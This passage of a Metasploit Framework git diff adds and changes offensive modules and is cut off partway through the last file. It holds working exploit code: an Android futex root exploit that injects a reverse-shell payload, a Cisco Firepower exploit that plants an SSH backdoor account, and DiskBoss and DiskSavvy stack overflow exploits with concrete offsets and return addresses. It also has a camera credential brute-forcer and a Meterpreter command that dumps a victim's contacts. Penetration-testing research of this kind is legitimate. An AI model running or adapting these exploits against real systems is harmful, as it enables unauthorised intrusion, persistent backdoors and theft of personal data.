cmd_dump_contacts(*args) - path = "contacts_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt" + path = "contacts_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}" + format = :text dump_contacts_opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], - '-o' => [ true, 'Output path for contacts list'] + '-o' => [ true, 'Output path for contacts list' ], + '-f' => [ true, 'Output format for contacts list (text, csv, vcard)' ] ) dump_contacts_opts.parse(args) do |opt, _idx, val| @@ -295,6 +297,18 @@ class Console::CommandDispatcher::Android return when '-o' path = val + when '-f' + case val + when 'text' + format = :text + when 'csv' + format = :csv + when 'vcard' + format = :vcard + else + print_error('Invalid output format specified') + return + end end end @@ -303,33 +317,62 @@ class Console::CommandDispatcher::Android if contact_list.count > 0 print_status("Fetching #{contact_list.count} #{contact_list.count == 1 ? 'contact' : 'contacts'} into list") begin - info = client.sys.config.sysinfo + data = '' - data = "" - data << "\n======================\n" - data << "[+] Contacts list dump\n" - data << "======================\n\n" + case format + when :text + info = client.sys.config.sysinfo + path << '.txt' unless path.end_with?('.txt') - time = Time.new - data << "Date: #{time.inspect}\n" - data << "OS: #{info['OS']}\n" - data << "Remote IP: #{client.sock.peerhost}\n" - data << "Remote Port: #{client.sock.peerport}\n\n" + data << "\n======================\n" + data << "[+] Contacts list dump\n" + data << "======================\n\n" - contact_list.each_with_index do |c, index| + time = Time.new + data << "Date: #{time.inspect}\n" + data << "OS: #{info['OS']}\n" + data << "Remote IP: #{client.sock.peerhost}\n" + data << "Remote Port: #{client.sock.peerport}\n\n" - data << "##{index.to_i + 1}\n" - data << "Name\t: #{c['name']}\n" + contact_list.each_with_index do |c, index| - c['number'].each do |n| - data << "Number\t: #{n}\n" + data << "##{index.to_i + 1}\n" + data << "Name\t: #{c['name']}\n" + + c['number'].each do |n| + data << "Number\t: #{n}\n" + end + + c['email'].each do |n| + data << "Email\t: #{n}\n" + end + + data << "\n" end + when :csv + path << '.csv' unless path.end_with?('.csv') - c['email'].each do |n| - data << "Email\t: #{n}\n" + contact_list.each do |contact| + data << contact.values.to_csv end + when :vcard + path << '.vcf' unless path.end_with?('.vcf') - data << "\n" + contact_list.each do |contact| + data << "BEGIN:VCARD\n" + data << "VERSION:3.0\n" + data << "FN:#{contact['name']}\n" + + contact['number'].each do |number| + data << "TEL:#{number}\n" + end + + contact['email'].each do |email| + data << "EMAIL:#{email}\n" + end + + data << "END:VCARD\n" + end end ::File.write(path, data) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 5085431ddf..1dc097b0db 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -310,12 +310,18 @@ class Client auth_str = "Basic " + Rex::Text.encode_base64(auth_str) end + + def make_cnonce + Digest::MD5.hexdigest "%x" % (Time.now.to_i + rand(65535)) + end + # Send a series of requests to complete Digest Authentication # # @param opts [Hash] the options used to build an HTTP request # @return [Response] the last valid HTTP response we received def digest_auth(opts={}) - @nonce_count = 0 + cnonce = make_cnonce + nonce_count = 0 to = opts['timeout'] || 20 @@ -330,7 +336,7 @@ class Client end begin - @nonce_count += 1 + nonce_count += 1 resp = opts['response'] @@ -387,7 +393,7 @@ class Client [ algorithm.hexdigest("#{digest_user}:#{parameters['realm']}:#{digest_password}"), parameters['nonce'], - @cnonce + cnonce ].join ':' else "#{digest_user}:#{parameters['realm']}:#{digest_password}" @@ -397,7 +403,7 @@ class Client ha2 = algorithm.hexdigest("#{method}:#{path}") request_digest = [ha1, parameters['nonce']] - request_digest.push(('%08x' % @nonce_count), @cnonce, qop) if qop + request_digest.push(('%08x' % nonce_count), cnonce, qop) if qop request_digest << ha2 request_digest = request_digest.join ':' @@ -407,8 +413,8 @@ class Client "realm=\"#{parameters['realm']}\"", "nonce=\"#{parameters['nonce']}\"", "uri=\"#{path}\"", - "cnonce=\"#{@cnonce}\"", - "nc=#{'%08x' % @nonce_count}", + "cnonce=\"#{cnonce}\"", + "nc=#{'%08x' % nonce_count}", "algorithm=#{algstr}", "response=\"#{algorithm.hexdigest(request_digest)[0, 32]}\"", # The spec says the qop value shouldn't be enclosed in quotes, but diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 4e90c781a8..ac424681d6 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -67,7 +67,7 @@ Gem::Specification.new do |spec| # Needed for Meterpreter spec.add_runtime_dependency 'metasploit-payloads', '1.2.6' # Needed for the next-generation POSIX Meterpreter - spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.4' + spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.6' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # get list of network interfaces, like eth* from OS. diff --git a/modules/auxiliary/admin/http/tomcat_administration.rb b/modules/auxiliary/admin/http/tomcat_administration.rb index a01e9ce969..015033e365 100644 --- a/modules/auxiliary/admin/http/tomcat_administration.rb +++ b/modules/auxiliary/admin/http/tomcat_administration.rb @@ -14,7 +14,9 @@ class MetasploitModule < Msf::Auxiliary def initialize super( 'Name' => 'Tomcat Administration Tool Default Access', - 'Description' => 'Detect the Tomcat administration interface.', + 'Description' => 'Detect the Tomcat administration interface. The administration interface is included in versions 5.5 and lower. + Port 8180 is the default for FreeBSD, 8080 for all others.', + # version of admin interface source: O'Reilly Tomcat The Definitive Guide, page 82 'References' => [ ['URL', 'http://tomcat.apache.org/'], @@ -25,7 +27,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ - Opt::RPORT(8180), + Opt::RPORT(8180), # 8180 is default for FreeBSD. All other OSes it's 8080 OptString.new('TOMCAT_USER', [ false, 'The username to authenticate as', '']), OptString.new('TOMCAT_PASS', [ false, 'The password for the specified username', '']), ], self.class) diff --git a/modules/auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli.rb b/modules/auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli.rb index ae53f79f2d..12b7a41335 100644 --- a/modules/auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli.rb +++ b/modules/auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli.rb @@ -14,7 +14,7 @@ class MetasploitModule < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Advantech WebAccess SQL Injection', + 'Name' => 'Advantech WebAccess DBVisitor.dll ChartThemeConfig SQL Injection', 'Description' => %q{ This module exploits a SQL injection vulnerability found in Advantech WebAccess 7.1. The vulnerability exists in the DBVisitor.dll component, and can be abused through malicious diff --git a/modules/auxiliary/scanner/http/bavision_cam_login.rb b/modules/auxiliary/scanner/http/bavision_cam_login.rb new file mode 100644 index 0000000000..8f195ad42c --- /dev/null +++ b/modules/auxiliary/scanner/http/bavision_cam_login.rb @@ -0,0 +1,137 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'metasploit/framework/login_scanner/bavision_cameras' +require 'metasploit/framework/credential_collection' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info={}) + super(update_info(info, + 'Name' => 'BAVision IP Camera Web Server Login', + 'Description' => %q{ + This module will attempt to authenticate to an IP camera created by BAVision via the + web service. By default, the vendor ships a default credential admin:123456 to its + cameras, and the web server does not enforce lockouts in case of a bruteforce attack. + }, + 'Author' => [ 'sinn3r' ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + OptBool.new('TRYDEFAULT', [false, 'Try the default credential admin:123456', false]) + ], self.class) + end + + + def scanner(ip) + @scanner ||= lambda { + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'] + ) + + if datastore['TRYDEFAULT'] + # Add the default username and password + print_status("Default credential admin:123456 added to the credential queue for testing.") + cred_collection.add_public('admin') + cred_collection.add_private('123456') + end + + return Metasploit::Framework::LoginScanner::BavisionCameras.new( + configure_http_login_scanner( + host: ip, + port: datastore['RPORT'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 5, + http_username: datastore['HttpUsername'], + http_password: datastore['HttpPassword'] + )) + }.call + end + + + def report_good_cred(ip, port, result) + service_data = { + address: ip, + port: port, + service_name: 'http', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: result.credential.private, + private_type: :password, + username: result.credential.public, + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + last_attempted_at: DateTime.now, + status: result.status, + proof: result.proof + }.merge(service_data) + + create_credential_login(login_data) + end + + + def report_bad_cred(ip, rport, result) + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status, + proof: result.proof + ) + end + + def bruteforce(ip) + scanner(ip).scan! do |result| + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute(:level => :good, :ip => ip, :msg => "Success: '#{result.credential}'") + report_good_cred(ip, rport, result) + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + vprint_brute(:level => :verror, :ip => ip, :msg => result.proof) + report_bad_cred(ip, rport, result) + when Metasploit::Model::Login::Status::INCORRECT + vprint_brute(:level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'") + report_bad_cred(ip, rport, result) + end + end + end + + def run_host(ip) + unless scanner(ip).check_setup + print_brute(:level => :error, :ip => ip, :msg => 'Target is not BAVision IP camera web server.') + return + end + + bruteforce(ip) + end + +end diff --git a/modules/auxiliary/scanner/http/ipboard_login.rb b/modules/auxiliary/scanner/http/ipboard_login.rb index 4cfb5059ef..5edbf1e00b 100644 --- a/modules/auxiliary/scanner/http/ipboard_login.rb +++ b/modules/auxiliary/scanner/http/ipboard_login.rb @@ -64,7 +64,7 @@ class MetasploitModule < Msf::Auxiliary :next_user when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT if datastore['VERBOSE'] - print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + print_brute :level => :verror, :ip => ip, :msg => result.proof end invalidate_login(credential_data) :abort diff --git a/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb b/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb index b364568cd3..ed1d332fd9 100644 --- a/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb +++ b/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb @@ -8,7 +8,7 @@ require 'msf/core' class MetasploitModule < Msf::Auxiliary - include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::Udp include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner @@ -42,8 +42,6 @@ class MetasploitModule < Msf::Auxiliary password = nil begin - # Create an unbound UDP socket if no CHOST is specified, otherwise - # create a UDP socket bound to CHOST (in order to avail of pivoting) udp_sock = Rex::Socket::Udp.create( { 'LocalHost' => datastore['CHOST'] || nil, 'PeerHost' => ip, diff --git a/modules/exploits/android/local/futex_requeue.rb b/modules/exploits/android/local/futex_requeue.rb index 68d170b452..feea58dc59 100644 --- a/modules/exploits/android/local/futex_requeue.rb +++ b/modules/exploits/android/local/futex_requeue.rb @@ -32,52 +32,142 @@ class MetasploitModule < Msf::Exploit::Local [ 'URL', 'http://tinyhack.com/2014/07/07/exploiting-the-futex-bug-and-uncovering-towelroot/' ], [ 'URL', 'http://blog.nativeflow.com/the-futex-vulnerability' ], ], - 'SessionTypes' => [ 'meterpreter' ], - 'Platform' => 'android', - 'Targets' => [[ 'Automatic', { }]], - 'Arch' => ARCH_DALVIK, + 'DisclosureDate' => "May 03 2014", + 'SessionTypes' => [ 'meterpreter' ], + 'Platform' => [ "android", "linux" ], + 'Payload' => { 'Space' => 2048, }, 'DefaultOptions' => - { - 'PAYLOAD' => 'android/meterpreter/reverse_tcp', - }, + { + 'WfsDelay' => 300, + 'PAYLOAD' => 'linux/armle/mettle/reverse_tcp', + }, 'DefaultTarget' => 0, - 'DisclosureDate' => "May 03 2014" + 'Targets' => [ + # Automatic targetting via getprop ro.build.model + ['Automatic Targeting', { 'auto' => true }], + + # This is the default setting, Nexus 4, 5, 7, etc + ['Default', + { + 'new_samsung' => false, + 'iovstack' => 2, + 'offset' => 0, + 'force_remove' => false, + } + ], + + # Samsung devices, S4, S5, etc + ['New Samsung', + { + 'new_samsung' => true, + 'iovstack' => 2, + 'offset' => 7380, + 'force_remove' => true, + } + ], + + # Older Samsung devices, e.g the Note 2 + ['Old Samsung', + { + 'new_samsung' => false, + 'iovstack' => 1, + 'offset' => 0, + 'force_remove' => true, + } + ], + + # Samsung Galaxy Grand, etc + ['Samsung Grand', + { + 'new_samsung' => false, + 'iovstack' => 5, + 'offset' => 0, + 'force_remove' => true, + } + ], + ] } )) - - register_options([ - OptString.new("WritableDir", [ true, "Temporary directory to write files", "/data/local/tmp/" ]), - ], self.class) - end - - def put_local_file(remotefile) - localfile = File.join( Msf::Config.data_directory, "exploits", "CVE-2014-3153.elf" ) - data = File.read(localfile, {:mode => 'rb'}) - write_file(remotefile, data) end def exploit + if target['auto'] + product = cmd_exec("getprop ro.build.product") + fingerprint = cmd_exec("getprop ro.build.fingerprint") + print_status("Found device: #{product}") + print_status("Fingerprint: #{fingerprint}") + + if [ + "mako", + "m7", + "hammerhead", + "grouper", + "Y530-U00", + "G6-U10", + "g2", + "w7n", + "D2303", + "cancro", + ].include? product + my_target = targets[1] # Default + elsif [ + "klte", + "jflte", + ].include? product + my_target = targets[2] # New Samsung + elsif [ + "t03g", + "m0", + ].include? product + my_target = targets[3] # Old Samsung + elsif [ + "baffinlite", + "Vodafone_785", + ].include? product + my_target = targets[4] # Samsung Grand + else + print_status("Could not automatically target #{product}") + my_target = targets[1] # Default + end + else + my_target = target + end + + print_status("Using target: #{my_target.name}") + + local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2014-3153.so" ) + exploit_data = File.read(local_file, {:mode => 'rb'}) + + # Substitute the exploit shellcode with our own + space = payload_space + payload_encoded = payload.encoded + exploit_data.gsub!("\x90" * 4 + "\x00" * (space - 4), payload_encoded + "\x90" * (payload_encoded.length - space)) + + # Apply the target config + offsets = my_target.opts + config_buf = [ + offsets['new_samsung'] ? -1 : 0, + offsets['iovstack'].to_i, + offsets['offset'].to_i, + offsets['force_remove'] ? -1 : 0, + ].pack('I4') + exploit_data.gsub!("c0nfig" + "\x00" * 10, config_buf) + workingdir = session.fs.dir.getwd - exploitfile = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}" - payloadfile = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}" + remote_file = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}" + write_file(remote_file, exploit_data) - put_local_file(exploitfile) - cmd_exec('/system/bin/chmod 700 ' + exploitfile) - write_file(payloadfile, payload.raw) - - tmpdir = datastore['WritableDir'] - rootclassdir = "#{tmpdir}#{Rex::Text::rand_text_alpha_lower(5)}" - rootpayload = "#{tmpdir}#{Rex::Text::rand_text_alpha_lower(5)}.jar" - - rootcmd = " mkdir #{rootclassdir} && " - rootcmd += "cd #{rootclassdir} && " - rootcmd += "cp " + payloadfile + " #{rootpayload} && " - rootcmd += "chmod 766 #{rootpayload} && " - rootcmd += "dalvikvm -Xbootclasspath:/system/framework/core.jar -cp #{rootpayload} com.metasploit.stage.Payload" - - process = session.sys.process.execute(exploitfile, rootcmd, {'Hidden' => true, 'Channelized' => true}) - process.channel.read + print_status("Loading exploit library #{remote_file}") + session.core.load_library( + 'LibraryFilePath' => local_file, + 'TargetFilePath' => remote_file, + 'UploadLibrary' => false, + 'Extension' => false, + 'SaveToDisk' => false + ) + print_status("Loaded library #{remote_file}, deleting") + session.fs.file.rm(remote_file) + print_status("Waiting #{datastore['WfsDelay']} seconds for payload") end - end diff --git a/modules/exploits/linux/http/cisco_firepower_useradd.rb b/modules/exploits/linux/http/cisco_firepower_useradd.rb new file mode 100644 index 0000000000..b715a542e7 --- /dev/null +++ b/modules/exploits/linux/http/cisco_firepower_useradd.rb @@ -0,0 +1,294 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + include Msf::Exploit::Remote::SSH + + def initialize(info={}) + super(update_info(info, + 'Name' => "Cisco Firepower Management Console 6.0 Post Authentication UserAdd Vulnerability", + 'Description' => %q{ + This module exploits a vulnerability found in Cisco Firepower Management Console. + The management system contains a configuration flaw that allows the www user to + execute the useradd binary, which can be abused to create backdoor accounts. + Authentication is required to exploit this vulnerability. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Matt', # Original discovery & PoC + 'sinn3r' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2016-6433' ], + [ 'URL', 'https://blog.korelogic.com/blog/2016/10/10/virtual_appliance_spelunking' ] + ], + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + 'Targets' => + [ + [ 'Cisco Firepower Management Console 6.0.1 (build 1213)', {} ] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Oct 10 2016', + 'CmdStagerFlavor'=> %w{ echo }, + 'DefaultOptions' => + { + 'SSL' => 'true', + 'SSLVersion' => 'Auto', + 'RPORT' => 443 + }, + 'DefaultTarget' => 0)) + + register_options( + [ + # admin:Admin123 is the default credential for 6.0.1 + OptString.new('USERNAME', [true, 'Username for Cisco Firepower Management console', 'admin']), + OptString.new('PASSWORD', [true, 'Password for Cisco Firepower Management console', 'Admin123']), + OptString.new('NEWSSHUSER', [false, 'New backdoor username (Default: Random)']), + OptString.new('NEWSSHPASS', [false, 'New backdoor password (Default: Random)']), + OptString.new('TARGETURI', [true, 'The base path to Cisco Firepower Management console', '/']), + OptInt.new('SSHPORT', [true, 'Cisco Firepower Management console\'s SSH port', 22]) + ], self.class) + end + + def check + # For this exploit to work, we need to check two services: + # * HTTP - To create the backdoor account for SSH + # * SSH - To execute our payload + + vprint_status('Checking Cisco Firepower Management console...') + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/img/favicon.png?v=6.0.1-1213') + }) + + if res && res.code == 200 + vprint_status("Console is found.") + vprint_status("Checking SSH service.") + begin + ::Timeout.timeout(datastore['SSH_TIMEOUT']) do + Net::SSH.start(rhost, 'admin', + port: datastore['SSHPORT'], + password: Rex::Text.rand_text_alpha(5), + auth_methods: ['password'], + non_interactive: true + ) + end + rescue Timeout::Error + vprint_error('The SSH connection timed out.') + return Exploit::CheckCode::Unknown + rescue Net::SSH::AuthenticationFailed + # Hey, it talked. So that means SSH is running. + return Exploit::CheckCode::Appears + rescue Net::SSH::Exception => e + vprint_error(e.message) + end + end + + Exploit::CheckCode::Safe + end + + def get_sf_action_id(sid) + requirements = {} + + print_status('Attempting to obtain sf_action_id from rulesimport.cgi') + + uri = normalize_uri(target_uri.path, 'DetectionPolicy/rules/rulesimport.cgi') + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => uri, + 'cookie' => "CGISESSID=#{sid}" + }) + + unless res + fail_with(Failure::Unknown, 'Failed to obtain rules import requirements.') + end + + sf_action_id = res.body.scan(/sf_action_id = '(.+)';/).flatten[1] + + unless sf_action_id + fail_with(Failure::Unknown, 'Unable to obtain sf_action_id from rulesimport.cgi') + end + + sf_action_id + end + + def create_ssh_backdoor(sid, user, pass) + uri = normalize_uri(target_uri.path, 'DetectionPolicy/rules/rulesimport.cgi') + sf_action_id = get_sf_action_id(sid) + sh_name = 'exploit.sh' + + print_status("Attempting to create an SSH backdoor as #{user}:#{pass}") + + mime_data = Rex::MIME::Message.new + mime_data.add_part('Import', nil, nil, 'form-data; name="action_submit"') + mime_data.add_part('file', nil, nil, 'form-data; name="source"') + mime_data.add_part('1', nil, nil, 'form-data; name="manual_update"') + mime_data.add_part(sf_action_id, nil, nil, 'form-data; name="sf_action_id"') + mime_data.add_part( + "sudo useradd -g ldapgroup -p `openssl passwd -1 #{pass}` #{user}; rm /var/sf/SRU/#{sh_name}", + 'application/octet-stream', + nil, + "form-data; name=\"file\"; filename=\"#{sh_name}\"" + ) + + send_request_cgi({ + 'method' => 'POST', + 'uri' => uri, + 'cookie' => "CGISESSID=#{sid}", + 'ctype' => "multipart/form-data; boundary=#{mime_data.bound}", + 'data' => mime_data.to_s, + 'vars_get' => { 'no_mojo' => '1' }, + }) + end + + def generate_new_username + datastore['NEWSSHUSER'] || Rex::Text.rand_text_alpha(5) + end + + def generate_new_password + datastore['NEWSSHPASS'] || Rex::Text.rand_text_alpha(5) + end + + def report_cred(opts) + service_data = { + address: rhost, + port: rport, + service_name: 'cisco', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + def do_login + console_user = datastore['USERNAME'] + console_pass = datastore['PASSWORD'] + uri = normalize_uri(target_uri.path, 'login.cgi') + + print_status("Attempting to login in as #{console_user}:#{console_pass}") + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => uri, + 'vars_post' => { + 'username' => console_user, + 'password' => console_pass, + 'target' => '' + } + }) + + unless res + fail_with(Failure::Unknown, 'Connection timed out while trying to log in.') + end + + res_cookie = res.get_cookies + if res.code == 302 && res_cookie.include?('CGISESSID') + cgi_sid = res_cookie.scan(/CGISESSID=(\w+);/).flatten.first + print_status("CGI Session ID: #{cgi_sid}") + print_good("Authenticated as #{console_user}:#{console_pass}") + report_cred(username: console_user, password: console_pass) + return cgi_sid + end + + nil + end + + def execute_command(cmd, opts = {}) + @first_exec = true + cmd.gsub!(/\/tmp/, '/usr/tmp') + + # Weird hack for the cmd stager. + # Because it keeps using > to write the payload. + if @first_exec + @first_exec = false + else + cmd.gsub!(/>>/, ' > ') + end + + begin + Timeout.timeout(3) do + @ssh_socket.exec!("#{cmd}\n") + vprint_status("Executing #{cmd}") + end + rescue Timeout::Error + fail_with(Failure::Unknown, 'SSH command timed out') + rescue Net::SSH::ChannelOpenFailed + print_status('Trying again due to Net::SSH::ChannelOpenFailed (sometimes this happens)') + retry + end + end + + def init_ssh_session(user, pass) + print_status("Attempting to log into SSH as #{user}:#{pass}") + + factory = ssh_socket_factory + opts = { + auth_methods: ['password', 'keyboard-interactive'], + port: datastore['SSHPORT'], + use_agent: false, + config: false, + password: pass, + proxy: factory, + non_interactive: true + } + + opts.merge!(verbose: :debug) if datastore['SSH_DEBUG'] + + begin + ssh = nil + ::Timeout.timeout(datastore['SSH_TIMEOUT']) do + @ssh_socket = Net::SSH.start(rhost, user, opts) + end + rescue Net::SSH::Exception => e + fail_with(Failure::Unknown, e.message) + end + end + + def exploit + # To exploit the useradd vuln, we need to login first. + sid = do_login + return unless sid + + # After login, we can call the useradd utility to create a backdoor user + new_user = generate_new_username + new_pass = generate_new_password + create_ssh_backdoor(sid, new_user, new_pass) + + # Log into the SSH backdoor account + init_ssh_session(new_user, new_pass) + + begin + execute_cmdstager({:linemax => 500}) + ensure + @ssh_socket.close + end + end + +end diff --git a/modules/exploits/windows/http/diskboss_get_bof.rb b/modules/exploits/windows/http/diskboss_get_bof.rb new file mode 100644 index 0000000000..527d028fb6 --- /dev/null +++ b/modules/exploits/windows/http/diskboss_get_bof.rb @@ -0,0 +1,131 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Seh + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'DiskBoss Enterprise GET Buffer Overflow', + 'Description' => %q{ + This module exploits a stack-based buffer overflow vulnerability + in the web interface of DiskBoss Enterprise v7.5.12 and v7.4.28, + caused by improper bounds checking of the request path in HTTP GET + requests sent to the built-in web server. This module has been + tested successfully on Windows XP SP3 and Windows 7 SP1. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'vportal', # Vulnerability discovery and PoC + 'Gabor Seljan' # Metasploit module + ], + 'References' => + [ + ['EDB', '40869'] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread' + }, + 'Platform' => 'win', + 'Payload' => + { + 'BadChars' => "\x00\x09\x0a\x0d\x20", + 'Space' => 2000 + }, + 'Targets' => + [ + [ + 'Automatic Targeting', + { + 'auto' => true + } + ], + [ + 'DiskBoss Enterprise v7.4.28', + { + 'Offset' => 2471, + 'Ret' => 0x1004605c # ADD ESP,0x68 # RETN [libpal.dll] + } + ], + [ + 'DiskBoss Enterprise v7.5.12', + { + 'Offset' => 2471, + 'Ret' => 0x100461da # ADD ESP,0x68 # RETN [libpal.dll] + } + ] + ], + 'Privileged' => true, + 'DisclosureDate' => 'Dec 05 2016', + 'DefaultTarget' => 0)) + end + + def check + res = send_request_cgi( + 'method' => 'GET', + 'uri' => '/' + ) + + if res && res.code == 200 + if res.body =~ /DiskBoss Enterprise v7\.(4\.28|5\.12)/ + return Exploit::CheckCode::Vulnerable + elsif res.body =~ /DiskBoss Enterprise/ + return Exploit::CheckCode::Detected + end + else + vprint_error('Unable to determine due to a HTTP connection timeout') + return Exploit::CheckCode::Unknown + end + + Exploit::CheckCode::Safe + end + + def exploit + mytarget = target + + if target['auto'] + mytarget = nil + + print_status('Automatically detecting the target...') + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => '/' + ) + + if res && res.code == 200 + if res.body =~ /DiskBoss Enterprise v7\.4\.28/ + mytarget = targets[1] + elsif res.body =~ /DiskBoss Enterprise v7\.5\.12/ + mytarget = targets[2] + end + end + + if !mytarget + fail_with(Failure::NoTarget, 'No matching target') + end + + print_status("Selected Target: #{mytarget.name}") + end + + sploit = make_nops(21) + sploit << payload.encoded + sploit << rand_text_alpha(mytarget['Offset'] - payload.encoded.length) + sploit << [mytarget.ret].pack('V') + sploit << rand_text_alpha(2500) + + send_request_cgi( + 'method' => 'GET', + 'uri' => sploit + ) + end +end diff --git a/modules/exploits/windows/http/disksavvy_get_bof.rb b/modules/exploits/windows/http/disksavvy_get_bof.rb new file mode 100644 index 0000000000..2f7e9a250f --- /dev/null +++ b/modules/exploits/windows/http/disksavvy_get_bof.rb @@ -0,0 +1,150 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Seh + include Msf::Exploit::Remote::Egghunter + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'DiskSavvy Enterprise GET Buffer Overflow', + 'Description' => %q{ + This module exploits a stack-based buffer overflow vulnerability + in the web interface of DiskSavvy Enterprise v9.1.14 and v9.3.14, + caused by improper bounds checking of the request path in HTTP GET + requests sent to the built-in web server. This module has been + tested successfully on Windows XP SP3 and Windows 7 SP1. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'vportal', # Vulnerability discovery and PoC + 'Gabor Seljan' # Metasploit module + ], + 'References' => + [ + ['EDB', '40869'] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread' + }, + 'Platform' => 'win', + 'Payload' => + { + 'BadChars' => "\x00\x09\x0a\x0d\x20", + 'Space' => 500 + }, + 'Targets' => + [ + [ + 'Automatic Targeting', + { + 'auto' => true + } + ], + [ + 'DiskSavvy Enterprise v9.1.14', + { + 'Offset' => 542, + 'Ret' => 0x101142c0 # POP # POP # RET [libspp.dll] + } + ], + [ + 'DiskSavvy Enterprise v9.3.14', + { + 'Offset' => 2478, + 'Ret' => 0x101142ff # POP # POP # RET [libspp.dll] + } + ] + ], + 'Privileged' => true, + 'DisclosureDate' => 'Dec 01 2016', + 'DefaultTarget' => 0)) + end + + def check + res = send_request_cgi( + 'method' => 'GET', + 'uri' => '/' + ) + + if res && res.code == 200 + version = res.body[/Disk Savvy Enterprise v[^<]*/] + if version + vprint_status("Version detected: #{version}") + if version =~ /9\.(1|3)\.14/ + return Exploit::CheckCode::Appears + end + return Exploit::CheckCode::Detected + end + else + vprint_error('Unable to determine due to a HTTP connection timeout') + return Exploit::CheckCode::Unknown + end + + Exploit::CheckCode::Safe + end + + def exploit + mytarget = target + + if target['auto'] + mytarget = nil + + print_status('Automatically detecting the target...') + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => '/' + ) + + if res && res.code == 200 + if res.body =~ /Disk Savvy Enterprise v9\.1\.14/ + mytarget = targets[1] + elsif res.body =~ /Disk Savvy Enterprise v9\.3\.14/ + mytarget = targets[2] + end + end + + if !mytarget + fail_with(Failure::NoTarget, 'No matching target') + end + + print_status("Selected target: #{mytarget.name}") + end + + eggoptions = { + checksum: true, + eggtag: rand_text_alpha(4, payload_badchars) + } + + hunter, egg = generate_egghunter( + payload.encoded, + payload_badchars, + eggoptions + ) + + sploit = make_nops(10) + sploit << egg + sploit << rand_text_alpha(mytarget['Offset'] - egg.length) + sploit << 